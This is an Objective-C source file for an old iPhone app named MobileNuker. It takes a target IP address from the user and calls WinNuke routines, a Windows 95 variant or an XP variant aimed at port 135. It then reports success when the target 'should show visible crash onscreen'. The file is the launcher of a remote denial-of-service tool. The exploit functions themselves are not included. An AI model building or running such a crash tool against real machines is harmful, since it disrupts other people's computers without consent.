/* Copyright 2008 Steven Troughton-Smith, yadda yadda yadda. Be good */

#import "MNApplicationDelegate.h"

#define MOBILENUKER_XP_ENABLED 1
#define MOBILENUKER_95_ENABLED (!MOBILENUKER_XP_ENABLED)

@implementation MNApplicationDelegate

- (void) applicationDidFinishLaunching: (UIApplication *)application
{	
	[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(didShowKeyboard) name:@"UIKeyboardWillShowNotification" object:nil];
	
	[inputField becomeFirstResponder];
}

-(void)didShowKeyboard
{
	[UIView beginAnimations:nil context:nil];
	[UIView setAnimationCurve:UIViewAnimationCurveEaseOut];
	
#if TARGET_IPHONE_SIMULATOR
	[UIView setAnimationDelay:0.09];
#else
	[UIView setAnimationDelay:0.29];
#endif
	
	CGRect inputFieldFrame = inputBar.frame;
	
	inputFieldFrame.origin.y = mainWindow.frame.size.height - 216 - inputBar.frame.size.height;
	inputBar.frame = inputFieldFrame;
	[UIView commitAnimations];
}

- (IBAction)nuke:(id)sender
{
	[self _fireNuke:self];
}

- (void)_fireNuke:(id)sender
{
	NSString *message = inputField.text;

	if (![message length] > 0)
	{	
		UIAlertView *_infoSheet = [[UIAlertView alloc] initWithTitle:@"Address Field Empty" message:@"Please enter the target IP address" delegate:nil cancelButtonTitle:@"OK" otherButtonTitles:nil];
		[_infoSheet show];
	
		return;
	}
	
	UIAlertView *_infoSheet = [[UIAlertView alloc] initWithTitle:@"Sending Nuke" message:@"This can take a while. Please wait." delegate:nil cancelButtonTitle:nil otherButtonTitles:nil];
	[_infoSheet show];
	UIActivityIndicatorView *indicator = [[UIActivityIndicatorView alloc] initWithFrame:CGRectMake(_infoSheet.bounds.size.width/2-18,_infoSheet.bounds.size.height/2+6, 0, 0 )];
	[indicator startAnimating];
	[indicator setActivityIndicatorViewStyle:UIActionSheetStyleDefault];
	[indicator sizeToFit];
	indicator.autoresizingMask =	(UIViewAutoresizingFlexibleLeftMargin |
									UIViewAutoresizingFlexibleRightMargin |
									UIViewAutoresizingFlexibleTopMargin |
									UIViewAutoresizingFlexibleBottomMargin);

	[_infoSheet addSubview:indicator];
	[indicator release];
	
	[NSThread detachNewThreadSelector:@selector(_nukeMain:) toTarget:self withObject:message];
}

-(void)_nukeMain:(NSString *)message
{
	NSAutoreleasePool *pool = [NSAutoreleasePool new];
	
#if MOBILENUKER_95_ENABLED
	char *winnuke95_argv[2];
	winnuke95_argv[0] = "winnuke";
	winnuke95_argv[1] = (char *)[message UTF8String];
	int winnuke_success = winnuke95_main(winnuke95_argv);
#else
	char *winnukexp_argv[3];
	winnukexp_argv[0] = "winnukexp";
	winnukexp_argv[1] = (char *)[message UTF8String];
	winnukexp_argv[2] = "135";
	int winnuke_success = winnukexp_main(winnukexp_argv);
#endif	
	

	if (winnuke_success != 0)
	{
		UIAlertView *_infoSheet = [[UIAlertView alloc] initWithTitle:@"Nuke Failed" message:@"Sending Nuke failed." delegate:nil cancelButtonTitle:@"OK" otherButtonTitles:nil];
		[_infoSheet show];
	}
	else
	{
		UIAlertView *_infoSheet = [[UIAlertView alloc] initWithTitle:@"Success!" message:@"Nuke appears to have been successful; target should show visible crash onscreen." delegate:nil cancelButtonTitle:@"OK" otherButtonTitles:nil];
		[_infoSheet show];
	}
	
	[pool release];
	
}

@end
